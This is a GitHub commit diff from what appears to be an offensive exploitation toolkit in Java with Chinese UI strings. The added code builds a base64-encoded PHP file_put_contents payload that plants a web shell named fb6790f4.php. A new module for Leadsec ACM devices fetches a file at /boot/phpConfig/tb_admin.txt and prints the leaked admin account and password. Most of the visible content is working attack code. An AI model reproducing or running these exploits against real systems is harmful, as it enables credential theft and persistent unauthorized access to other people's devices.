-
Notifications
You must be signed in to change notification settings - Fork 237
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
White-hua
committed
Nov 1, 2022
1 parent
484bfa3
commit d91315a
Showing
35 changed files
with
979 additions
and
536 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,76 +1,24 @@ | ||
import cn.hutool.core.util.RandomUtil; | ||
import java.nio.charset.StandardCharsets; | ||
import java.util.concurrent.CompletionService; | ||
|
||
import java.io.UnsupportedEncodingException; | ||
import java.util.concurrent.ExecutionException; | ||
import java.util.concurrent.ExecutorCompletionService; | ||
import java.util.concurrent.ExecutorService; | ||
import java.util.concurrent.Executors; | ||
import java.util.concurrent.Future; | ||
import javax.xml.bind.DatatypeConverter; | ||
import org.junit.jupiter.api.Test; | ||
import sun.misc.BASE64Encoder; | ||
import utils.shell; | ||
|
||
public class SimpleTest { | ||
|
||
public static void main(String[] args) throws InterruptedException, ExecutionException { | ||
|
||
char[] a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".toCharArray(); | ||
String b = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"; | ||
char[] str = "qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdbHthwalGcRu5nHzs".toCharArray(); | ||
String out = null; | ||
for (int i = 0; i < str.length; i++) { | ||
out += a[b.indexOf(str[i])]; | ||
} | ||
System.out.println(decode(out)); | ||
|
||
ExecutorTest(); | ||
} | ||
|
||
private static void ExecutorTest() throws InterruptedException, ExecutionException { | ||
ExecutorService executorService = Executors.newFixedThreadPool(3); | ||
|
||
CompletionService<Integer> completionService = new ExecutorCompletionService<>(executorService); | ||
|
||
Future<Integer> f1 = completionService.submit(() -> { | ||
System.out.println("执行任务一"); | ||
Thread.sleep(5000); | ||
return 1; | ||
}); | ||
private static Object pop; | ||
|
||
Future<Integer> f2 = completionService.submit(() -> { | ||
System.out.println("执行任务二"); | ||
return 2; | ||
}); | ||
|
||
Future<Integer> f3 = completionService.submit(() -> { | ||
System.out.println("执行任务三"); | ||
Thread.sleep(3000); | ||
return 3; | ||
}); | ||
|
||
for (int i = 0; i < 3; i++) { | ||
Future take = completionService.take(); | ||
Integer integer = (Integer) take.get(); | ||
executorService.execute(() -> { | ||
System.out.println("执行入库==" + integer); | ||
}); | ||
public static void main(String[] args) throws InterruptedException, ExecutionException { | ||
try { | ||
BASE64Encoder encoder = new BASE64Encoder(); | ||
String text = "file_put_contents('../../fb6790f4.php','" + shell.readFile(shell.Phppath) +"');"; | ||
byte[] textByte = text.getBytes("UTF-8"); | ||
String encodedText = encoder.encode(textByte).replace("\r\n",""); | ||
System.out.println(encodedText); | ||
} catch (UnsupportedEncodingException e) { | ||
e.printStackTrace(); | ||
} | ||
executorService.shutdown(); | ||
} | ||
|
||
public static String decode(String base64Str) { | ||
// 解码后的字符串 | ||
String str = ""; | ||
// 解码 | ||
byte[] base64Data = DatatypeConverter.parseBase64Binary(base64Str); | ||
// byte[]-->String | ||
str = new String(base64Data, StandardCharsets.UTF_8); | ||
return str; | ||
} | ||
|
||
|
||
@Test | ||
public void testRandom(){ | ||
System.out.println(RandomUtil.randomString(6)); | ||
|
||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
40 changes: 40 additions & 0 deletions
40
src/main/java/exp/equipment/wangyu/Leadsec_ACM_account.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,40 @@ | ||
package exp.equipment.wangyu; | ||
|
||
import core.Exploitlnterface; | ||
import javafx.application.Platform; | ||
import javafx.scene.control.TextArea; | ||
import utils.HttpTools; | ||
import utils.Response; | ||
|
||
import java.util.HashMap; | ||
|
||
public class Leadsec_ACM_account implements Exploitlnterface { | ||
@Override | ||
public Boolean checkVul(String url, TextArea textArea) { | ||
Boolean att = att(url, textArea); | ||
return att; | ||
} | ||
|
||
@Override | ||
public Boolean getshell(String url, TextArea textArea) { | ||
Platform.runLater(() -> { | ||
textArea.appendText("\n 该漏洞无法getshell"); | ||
}); | ||
return false; | ||
} | ||
|
||
private Boolean att(String url, TextArea textArea) { | ||
Response response = HttpTools.get(url + "/boot/phpConfig/tb_admin.txt", new HashMap<String, String>(), "utf-8"); | ||
if (response.getCode() == 200 && response.getText().contains("admin")) { | ||
Platform.runLater(() -> { | ||
textArea.appendText("\n 漏洞存在 账号密码如下\n" + response.getText()); | ||
}); | ||
return true; | ||
} else { | ||
Platform.runLater(() -> { | ||
textArea.appendText("\n Leadsec_ACM_account-漏洞不存在 (出现误报请联系作者)"); | ||
}); | ||
return false; | ||
} | ||
} | ||
} |
Oops, something went wrong.